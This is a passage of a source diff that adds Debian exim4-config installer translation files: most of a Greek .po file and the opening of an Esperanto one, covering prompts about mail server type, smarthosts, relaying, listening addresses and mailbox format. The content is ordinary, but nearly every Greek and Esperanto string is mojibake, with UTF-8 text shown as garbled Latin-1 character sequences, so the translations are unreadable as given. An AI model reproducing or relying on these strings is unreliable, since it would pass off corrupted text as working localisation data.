+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "τοπική αλληλογÏαφία μόνο - χωÏίς δίκτυο"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "χωÏίς ÏÏθμιση Ï€Ïος το παÏόν"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Γενικός Ï„Ïπος ÏÏθμισης αλληλογÏαφίας:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"ΠαÏακαλώ επιλέξτε την ÏÏθμιση του εξυπηÏετητή αλληλογÏαφίας που καλÏπτει "
+"καλλίτεÏα τις ανάγκες σας."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Συστήματα με δυναμικές διευθÏνσεις IP, όπως συστήματα κλήσης (dialup), θα "
+"Ï€Ïέπει γενικά να ÏυθμθιστοÏν να αποστέλλουν για παÏάδοση την εξεÏχόμενη "
+"αλληλογÏαφία τους σε ένα άλλο σÏστημα, γνωστό και ως 'smarthost', γιατί "
+"πολλά συστήματα στο Διαδίκτυο που δέχονται αλληλογÏαφία μπλοκάÏουν αυτήν που "
+"Ï€ÏοέÏχεται από μηχανήματα με δυναμικές διευθÏνσεις σαν μέτÏο Ï€Ïοστασίας από "
+"το spam."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Ένα σÏστημα με δυναμική διεÏθυνση IP μποÏεί να λαμβάνει την δική του "
+"αλληλογÏαφία, ή μποÏείτε να απενεÏγοποιήσετε εντελώς την τοπική παÏάδοση "
+"αλληλόγÏαφίας (εκτός από αυτήν για τον χÏήστη root και τον χÏήστη "
+"postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "Θέλετε σίγουÏα να αφήσετε το σÏστημα χωÏίς ÏÏθμιση;"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"ΜέχÏι να Ïυθμιστεί το σÏστημα αλληλογÏαφίας σας, δεν θα είναι λειτουÏγικό "
+"και δεν θα μποÏεί να χÏησιμοποιηθεί. Η ÏÏθμισή του σε μια μεταγενέστεÏη "
+"στιγμή μποÏεί να γίνει είτε με το χέÏι είτε εκτελώντας την εντολή 'dpkg-"
+"reconfigure exim4-config' ως χÏήστης root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Όνομα διακομιστή αλληλογÏαφίας:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"Η παÏάμετÏος 'mail name' είναι το όνομα τομέα που χÏησιμοποιείται για την "
+"'Ï€ÏόκÏιση' ως αποδεκτών διευθÏνσεων αλληλογÏαφίας που δεν έχουν οι ίδιες ένα "
+"όνομα τομέα."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Το όνομα αυτό θα χÏησιμοποιηθεί επίσης και από άλλα Ï€ÏογÏάμματα. Θα Ï€Ïέπει "
+"να είναι το μοναδικό, πλήÏως έγκÏιτο όνομα τομέα (FQDN)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"Έτσι, αν μια διεÏθυνση αλληλογÏαφίας στο τοπικό σÏστημα είναι foo@example."
+"org, τότε η σωστή τιμή για την επιλογή αυτή θα Ï€Ïέπει να είναι example.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Το όνομα αυτό δεν θα εμφανίζεται στις γÏαμμές From: των εξεÏχόμενων "
+"μηνυμάτων αν έχετε ενεÏγοποιήσει την επανεγγÏαφή."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Άλλοι Ï€ÏοοÏισμοί για τους οποίους γίνεται δεκτή η αλληλογÏαφία:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"ΠαÏακαλώ εισάγετε μια λίστα ονομάτων τομέων για αποδέκτες αλληλογÏαφίας, "
+"χωÏισμένων με εÏωτηματικά, για τους οποίους το σÏστημα αυτό θα θεωÏεί τον "
+"εαυτό του σαν τελικό Ï€ÏοοÏισμό. Αυτοί οι τομείς ονομάζονται συνήθως 'τοπικοί "
+"τομείς'. Το όνομα του Ï„Î¿Ï€Î¹ÎºÎ¿Ï ÏƒÏ…ÏƒÏ„Î®Î¼Î±Ï„Î¿Ï‚ (${fqdn}) και το 'localhost' "
+"Ï€Ïοστίθενται πάντα στη λίστα που θα δοθεί εδώ."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Η Ï€ÏοκαθοÏισμένη επιλογή είναι όλοι οι τοπικοί τομείς να αντιμετωπίζονται με "
+"τον ίδιο Ï„Ïόπο (Ï€ÏοκαθοÏισμένη ÏÏθμιση), αν θέλετε ιδιαίτεÏη μεταχείÏιση για "
+"κάποιο τομέα δικτÏου, θα Ï€Ïέπει να επεξεÏγαστείτε τα αÏχεία Ïυθμίσεων εκ των "
+"υστέÏων."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "ΑναδÏομολόγηση αλληλογÏαφίας για τους τομείς:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"ΠαÏακαλώ εισάγετε μια λίστα από τομείς δικτÏου που δέχονται αλληλογÏαφία, "
+"χωÏισμένων από εÏωτηματικά, για τους οποίους αυτό το σÏστημα θα "
+"επαναδÏομολογεί αλληλογÏαφία, για παÏάδειγμα σαν μια Ï€Ïλη αλληλογÏαφίας ή "
+"σαν εφεδÏικό σÏστημα MX. Αυτό σημαίνει ότι το παÏόν σÏστημα θα δέχεται "
+"αλληλογÏαφία γι' αυτοÏÏ‚ τους τομείς δικτÏου από οπουδήποτε στο Διαδίκτυο και "
+"θα την παÏαδίδει σÏμφωνα με τους κανόνες τοπικής παÏάδοσης αλληλογÏαφίας."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+"Μην αναφέÏετε εδώ τοπικοÏÏ‚ τομείς δικτÏου. ΜποÏοÏν να χÏησιμοποιηθοÏν "
+"κανονικές εκφÏάσεις (wildcards)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Υπολογιστές για τους οποίους θα αναδÏομολογείται η αλληλογÏαφία:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"ΠαÏακαλώ εισάγετε μια λίστα από εÏÏη διευθÏνσεων IP, χωÏισμένων με "
+"εÏωτηματικά, για τις οποίες το παÏόν σÏστημα θα αναδÏομολογεί χωÏίς "
+"πεÏιοÏισμοÏÏ‚ αλληλογÏαφία, λειτουÏγώντας σαν smarthost."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Θα Ï€Ïέπει να χÏησιμοποιήσετε την κανονική μοÏφή διεÏθυνσης/μάσκας (Ï€.χ. "
+"194.222.242.0/24 ή 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Αν το παÏόν σÏστημα δεν είναι ένας smarthost για οποιοδήποτε άλλο σÏστημα, "
+"αφήστε αυτή την λίστα κενή."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Εμφανιζόμενος Τομέας δικτÏου για τους τοπικοÏÏ‚ χÏήστες:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Ήταν ενεÏγοποιημένη η επιλογή της απόκÏυψης του ονόματος τοπικής "
+"αλληλογÏαφίας για την εξεÏχόμενη αλληλογÏαφία. Είναι επομένως απαÏαίτητο να "
+"Ï€ÏοσδιοÏίσετε το όνομα τομέα δικτÏου που το παÏόν σÏστημα θα χÏησιμοποιεί "
+"σαν το αντίστοιχο κομμάτι στις διευθÏνσεις αποστολής των τοπικών χÏηστών."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr ""
+"ΔιεÏθυνση IP ή όνομα συστήματος του smarthost εξεÏχόμενης αλληλογÏαφίας:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"ΠαÏακαλώ εισάγετε την διεÏθυνση IP ή το όνομα συστήματος ενός εξυπηÏετητή "
+"αλληλογÏαφίας που το παÏόν σÏστημα θα χÏησιμοποιεί σαν έναν smarthost "
+"εξεÏχόμενης αλληλογÏαφίας. Αν ο smarthost δέχεται την αλληλογÏαφίας σας μόνο "
+"σε μια θÏÏα διαφοÏετική από την TCP/25, Ï€Ïοσθέστε στο τέλος δυο άνω-κάτω "
+"τελείες και τον αÏιθμό της θÏÏας (για παÏάδειγμα smarthost.example::587 or "
+"192.168.254.254::2525). Οι άνω-κάτω τελείες θα Ï€Ïέπει να διπλασιαστοÏν για "
+"διευθÏνσεις IPv6."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Αν ο smarthost απαιτεί αυθεντικοποίηση, παÏακαλώ αναφεÏθείτε στα αÏχεία "
+"README ειδικά για το Debian στον κατάλογο /usr/share/doc/exim4-base για "
+"σημειώσεις σχετικά με την ÏÏθμιση αυθεντικοποίησης για το Ï€Ïωτόκολλο SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "ΠαÏαλήπτης αλληλογÏαφίας του χÏήστη root και του postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"ΑλληλογÏαφία για τους χÏήστες 'postmaster', 'root' και άλλους λογαÏιασμοÏÏ‚ "
+"του συστήματος θα Ï€Ïέπει να ανακατευθÏνεται στον λογαÏιασμό χÏήστη του "
+"Ï€ÏÎ±Î³Î¼Î±Ï„Î¹ÎºÎ¿Ï Î´Î¹Î±Ï‡ÎµÎ¹Ïιστή του συστήματος."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Αν αυτή η τιμή παÏαμείνει κενή, αυτή η αλληλογÏαφία θα σώζεται στον "
+"κατάλογο /var/mail/mail, κάτι που δεν συνίσταται."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Σημειώστε ότι η αλληλογÏαφία του χÏήστη postmaster θα Ï€Ïέπει να διαβάζεται "
+"στο σÏστημα στο οποίο απευθÏνεται, παÏά να Ï€Ïοωθείται αλλοÏ, επομένως "
+"(τουλάχιστον ένας) από τους χÏήστες που παÏατίθενται εδώ δεν θα Ï€Ïέπει να "
+"αναδÏομολογεί την αλληλογÏαφία του έξω από το παÏόν μηχάνημα. Το Ï€Ïόθεμα "
+"'real-' μποÏεί να χÏησιμοποιηθεί για την επιβολή της τοπικής παÏάδοσης της "
+"αλληλογÏαφίας."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Ονόματα πολλαπλών χÏηστών θα Ï€Ïέπει να διαχωÏίζονται με κενά."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "ΔιευθÏνσεις IP στις οποίες θα αναμένονται εισεÏχόμενες συνδέσεις SMTP:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"ΠαÏακαλώ εισάγετε μια λίστα με διαχωÏισμένες από άνω και κάτω τελείες "
+"διευθÏνσεις IP. Ο δαίμονας SMTP του Exim θα ακοÏει σε όλες τις διευθÏνσεις "
+"IP που αναγÏάφονται σ' αυτή τη λίστα."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Μια κενή τιμή θα έχει σαν αποτέλεσμα το Exim να ακοÏει για συνδέσεις σε "
+"όλες τις διαθέσιμες δικτυακές διεπαφές (interfaces)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Αν το παÏόν σÏστημα δέχεται αλληλογÏαφία μόνο άμεσα από τοπικές υπηÏεσίες "
+"(και όχι από άλλα συστήματα), ενδείκνυται η απαγόÏευση εξωτεÏικών συνδέσεων "
+"στον τοπικό δαίμονα Exim. Τέτοιες υπηÏεσίες πεÏιλαμβάνουν Ï€ÏογÏάμματα "
+"αλληλογÏαφίας (MUA) που επικοινωνοÏν μόνο με τον localhost καθώς και το "
+"fetchmail. Συνδέσεις από έξω είναι αδÏνατες αν εισάγετε εδώ την διεÏθυνση "
+"127.0.0.1,καθώς αυτό θα απενεÏγοποιήσει την δυνατότητα \"ακÏόασης\" των "
+"δημόσιων δικτυακών διεπαφών."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Ελάχιστος αÏιθμός επεÏωτήσεων DNS (για σÏνδεση κατ' απαίτηση);"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Σε κανονική λειτουÏγία το Exim Ï€Ïαγματοποιεί επεÏωτήσεις DNS κατά την "
+"εκκίνησή του, καθώς και κατά την λήψη και παÏάδοση των μηνυμάτων. Αυτό "
+"γίνεται για λόγους καταγÏαφής και επιτÏέπει τη διατήÏηση όσον το δυνατόν "
+"λιγότεÏων hard-coded τιμών στο αÏχείο Ïυθμίσεων.."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Αν το σÏστημα δεν έχει στη διάθεσή του ένα σÏστημα πλήÏους υπηÏεσίας "
+"ονοματοδοσίας DNS σε κάθε στιγμή (για παÏάδειγμα αν η Ï€Ïόσβασή του στο "
+"Διαδίκτυο είναι μέσω μιας γÏαμμής dial-up με χÏήση dial-on-demand), αυτό "
+"μποÏεί να έχει ανεπιθÏμητες συνέπειες. Για παÏάδειγμα. ξεκινώντας τον "
+"εξυπηÏετητή Exim ή Ï„Ïέχοντας την παÏάδοση των μηνυμάτων που είναι στην ουÏά "
+"(ακόμα και αν δεν υπάÏχουν μηνÏματα σε αναμονή) μποÏεί να Ï€Ïοκαλέσει την "
+"Ï€Ïαγματοποίηση κοστοβόÏων Ï€Ïοσπαθειών σÏνδεσης dial-up."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Αυτή η επιλογή θα Ï€Ïέπει να γίνει αν το σÏστημα χÏησιμοποιεί Dial-on-Demand. "
+"Αν έχει συνεχή Ï€Ïόσβαση στο Διαδίκτυο, η επιλογή αυτή θα Ï€Ïέπει να "
+"απενεÏγοποιηθεί."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "ΡÏθμισης εξυπηÏετητή αλληλογÏαφίας"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Îα διασπαστοÏν οι Ïυθμίσεις σε μικÏότεÏα αÏχεία;"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Τα πακέτα του exim4 στο Debian μποÏοÏν να χÏησιμοποιήσουν είτε μια "
+"'ενιαία' ('unsplit') ÏÏθμιση, δηλ. ένα μοναδικό μονολιθικό αÏχείο (/etc/"
+"exim4/exim4.conf.template) ή μια ÏÏθμιση 'τμηματική' ('split') ÏÏθμιση, όπου "
+"τα Ï€Ïαγματικά αÏχεία Ïυθμίσεων του Exim σχηματίζονται από πεÏίπου 50 "
+"μικÏότεÏα αÏχεία στον κατάλογο /etc/exim4/conf.d."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Ο Ï€Ïώτος Ï„Ïόπος \"ενιαίας\" (unsplit) ÏÏθμισης είναι καταλληλότεÏος για "
+"Ï„Ïοποποιήσεις μεγάλης έκτασης και είναι γενικά πιο σταθεÏός, ενώ ο δεÏτεÏος "
+"της \"τμηματικής\" (split) ÏÏθμισης Ï€ÏοσφέÏει έναν μιο άνετο Ï„Ïόπο να "
+"γίνονται μικÏότεÏες Ï„Ïοποποιήσεις αλλά είναι γενικά πιο εÏθÏαυστος και "
+"πιθανόν να γίνει μη λειτουÏγικός αν μεταβάλλεται χωÏίς Ï€Ïοσοχή."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Μια πιο λεπτομεÏειακή συζήτηση για την 'τμηματική' ('split') και την "
+"'ενιαία' ('unsplit') ÏÏθμιση μποÏεί να βÏεθεί στα αÏχεία README ειδικά για "
+"το Debian στον κατάλογο /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Îα αποκÏÏπτεται το όνομα στην εξεÏχόμενη αλληλογÏαφία;"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Οι κεφαλίδες της εξεÏχόμενης αλληλογÏαφίας μποÏοÏν να επανεγγÏάφονται ώστε "
+"να εμφανίζονται σαν να έχουν δημιουÏγηθεί σε κάποιο άλλο σÏστημα. Αν κάνετε "
+"αυτή την επιλογή, τα πεδία '${mailname}', 'localhost' και "
+"'${dc_other_hostnames}' στις κεφαλίδες From, Reply-To, Sender και Return-"
+"Path επανεγγÏάφονται."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "ΤÏπος mbox στο /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "ΤÏπος Maildir στον Ï€Ïοσωπικό κατάλογο"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Μέθοδος παÏάδοσης για την τοπική αλληλογÏαφία:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Το Exim έχει την ικανότητα να αποθηκεÏει τοπικά την αλληλογÏαφία που έχει "
+"παÏαδοθεί με διαφοÏετικοÏÏ‚ Ï„Ïπους. Οι πιο κοινά χÏησιμοποιοÏμενοι είναι οι "
+"mbox και Maildir. Ο Ï„Ïπος mbox χÏησιμοποιεί ένα μοναδικό αÏχείο για ολόκληÏο "
+"τον κατάλογο αλληλογÏαφίας αποθηκευμένο στον κατάλογο /var/mail. Με τον Ï„Ïπο "
+"Maildir κάθε ξεχωÏιστό μήνυμα αποθηκεÏεται σε ένα ξεχωÏιστό αÏχείο στον "
+"κατάλογο ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"ΠαÏακαλώ σημειώστε ότι τα πεÏισσότεÏα εÏγαλεία αλληλογÏαφίας στο Debian "
+"πεÏιμένουν στις Ï€Ïοεπιλογές τους ότι μέθοδος για την τοπική παÏάδοση της "
+"αλληλογÏαφίας είναι Ï„Ïπου mbox."
diff --git a/debian/po/eo.po b/debian/po/eo.po
new file mode 100644
index 0000000..f04aa3f
--- /dev/null
+++ b/debian/po/eo.po
@@ -0,0 +1,631 @@
+# translation of eo.po to Esperanto
+# Esperanto messages for debian-installer.
+# Copyright (C) 2006 Software in the Public Interest, Inc.
+# This file is distributed under the same license as debian-installer.
+#
+# Serge Leblanc <serge.leblanc@wanadoo.fr>, 2006-2007.
+# Felipe Castro <fefcas@gmail.com>, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4-config\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-03-20 16:06+0100\n"
+"Last-Translator: Felipe Castro <fefcas@gmail.com>\n"
+"Language-Team: Esperanto <debian-l10n-esperanto@lists.debian.org>\n"
+"Language: eo\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Ĉu forviÅi ne disdonitajn mesaÄojn el la bufra dosierujo 'spool'?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Ekzistas retpoÅtaj mesaÄoj en la bufra dosierujo '/var/spool/exim4/input' "
+"kiuj ne estis disdonitaj. Se vi forviÅos la programon 'Exim', ili ne estos "
+"disdonitaj, Äis kiam 'Exim' estu re-instalita."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Se vi ne elektas ĉi tiun opcion, la dosierujo 'spool' estos tenita. Tio "
+"ebligos disdoni la vicigitajn atendantajn retmesaÄojn post la reinstalado de "
+"'Exim'."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Reakomodi la pakon 'exim4-config' anstataŭ tiun ĉi pakon"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"La akomodado de 'Exim4' estas mastrumata per specifa pako, 'exim4-config'. "
+"Por reakomodi la pakon 'Exim4', uzu la komandon 'dpkg-reconfigure exim4-"
+"config'."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "interreta ejo; retpoÅto estas sendata kaj ricevata rekte per 'SMTP'"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "sendo per lertservilo; ricevo per 'SMTP' aÅ­ 'fetchmail'"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "sendo per lertservilo; neniu loka retmesaÄo"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "nur loka livero; ne rete"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "neniu agordo nune"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
